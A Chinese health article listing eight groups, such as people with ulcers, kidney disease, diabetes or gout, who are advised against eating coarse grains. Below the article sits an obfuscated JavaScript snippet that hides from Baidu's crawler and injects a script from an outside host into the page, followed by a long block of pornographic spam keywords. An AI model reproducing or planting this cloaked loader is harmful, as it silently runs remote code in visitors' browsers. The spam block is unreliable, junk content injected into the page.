當前位置:首頁 > 飲食 > 健康飲食 > 正文

不宜吃粗糧的八類人群介紹

2016-03-15 16:08:13  來源:360常識網   熱度:
導語:現在注重養生的人越來越多選擇吃粗糧,粗糧可以幫助我們調理身體的健康狀況。但是由于粗糧自身的屬性,不是人人都適合吃的。那么,哪些人不宜吃粗糧呢?

不宜吃粗糧的八類人群介紹
不宜吃粗糧的八類人群介紹

1、消化能力有問題的人

消化能力有問題的人(例如,胃潰瘍、十二指腸潰瘍)不適合吃五谷雜糧,因為這些食材較粗糙,跟胃腸道物理摩擦,會造成傷口疼痛。容易脹氣的人,吃多了也不舒服。

2、患消化系統疾病的人群

如果患有肝硬化食道靜脈曲張或是胃潰瘍,進食大量粗糧易引起靜脈破裂出血和潰瘍出血。提醒:有腸胃疾病的人,別吃太多蕎麥類,因為蕎麥類容易有消化不良的問題;也要斟酌吃大豆類,避免脹氣。

3、貧血、少鈣的人

谷物的植酸、草酸含量高,會抑制鈣質,尤其抑制鐵質的吸收,所以缺鈣、貧血的人,更要聰明吃,例如,牛奶不能跟五谷飯一起吃,才不會吸收不了鈣質。

另外,紅肉所含的血基質鐵,可不受植酸影響,但老人家多半不敢吃紅肉,加上如果為了健康一味吃五谷雜糧,會很糟,有些人因為雜糧吃太多,貧血一直無法改善。女性也是一樣,如有貧血問題,又喜歡吃雜糧,一定要補充紅肉,一天的肉類來源有一半必須是紅肉。

4、腎臟病人

腎臟病人反而需要吃精致白米。因為五谷雜糧的蛋白質、鉀、磷含量偏高,當成主食容易吃多,病人身體無法耐受。

5、糖尿病人

糖尿病人要控制淀粉攝取,即使吃五谷雜糧,也要控制份量。而且五谷雜糧雖然因為纖維夠,有助于降血糖,醫護人員多鼓勵糖尿病人吃,但一旦糖尿病合并腎病變,這時就不能吃雜糧飯,得回過頭來吃精白米,不少病人因此困惑不已。

6、痛風病人

痛風病人吃多豆類,會引發尿酸增高,五谷當中的豆類攝取份量就要降到最低。

7、免疫力低下的人群

如果長期每天攝入的纖維素超過50克,會使人的蛋白質補充受阻、脂肪利用率降低,造成骨骼、心臟、血液等臟器功能的損害,降低人體的免疫能力。

8、體力活動比較重的人群

粗糧營養價值低、供能少,對于從事重體力勞動的人而言營養提供不足。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
无码aⅴ精品一区二区三区浪潮| 免费看国产精品3a黄的视频| www.99精品视频在线播放| 久久一区二区精品| 亚洲AV日韩精品一区二区三区 | 亚洲精品美女久久久久99| 无码aⅴ精品一区二区三区| 亚洲国产精品自在线一区二区| 精品在线一区二区三区| 无码国产精品一区二区免费式直播 | 日本精品视频在线播放| 亚洲精品国产电影| 无码专区人妻系列日韩精品少妇| 国内精品九九久久久精品| 国产SUV精品一区二区88L| 无码精品A∨在线观看免费| 久久国产乱子伦精品免费不卡 | 精品一区高潮喷吹在线播放| 国产精品99久久久久久人四虎| 久久av老司机精品网站导航| 久久精品国产精品亚洲下载| 国产精品电影一区二区三区| 久久精品国产9久久综合| 国产成人精品免高潮在线观看 | 久久夜色精品国产噜噜亚洲AV| 亚洲av午夜成人片精品电影| 国产精品视频一区国模私拍| 亚洲国产精品乱码在线观看97 | 久久精品女人天堂AV| 亚洲精品日韩专区silk| 国产精品99精品无码视亚| 成人午夜视频精品一区| 国产精品成人久久久久三级午夜电影| 亚洲国产成人精品无码区花野真一 | 国内精品免费麻豆网站91麻豆 | 精品一区二区91| 精品国产成a人在线观看| 国产成人精品第一区二区| 中文字幕精品一区二区日本| 亚洲一区精品中文字幕| 国产真实伦偷精品|